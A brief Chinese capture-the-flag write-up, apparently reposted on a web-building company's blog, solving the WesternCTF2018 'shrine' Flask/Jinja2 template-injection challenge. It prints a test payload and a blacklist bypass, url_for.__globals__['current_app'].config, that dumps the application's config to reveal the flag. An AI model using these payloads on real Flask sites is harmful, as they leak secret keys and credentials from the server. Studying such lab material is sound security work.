ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

模板注入 [WesternCTF2018]shrine1

2026/9/19 10:34:37 拓冰建站 浏览量
模板注入 [WesternCTF2018]shrine1

打开题目

直接查看源代码

发现注册了一个名为FLAG的config,这里可能有flag,

存在flask-jinja2模板注入,

并且存在黑名单过滤

输入shrine/{{7*7}}验证成功

通过url_for()与globals()函数,绕过黑名单

/shrine/{{url_for.__globals__}}

发现了current_app()函数

查看这个里面的config。

/shrine/{{url_for.__globals__['current_app'].config}}

得到flag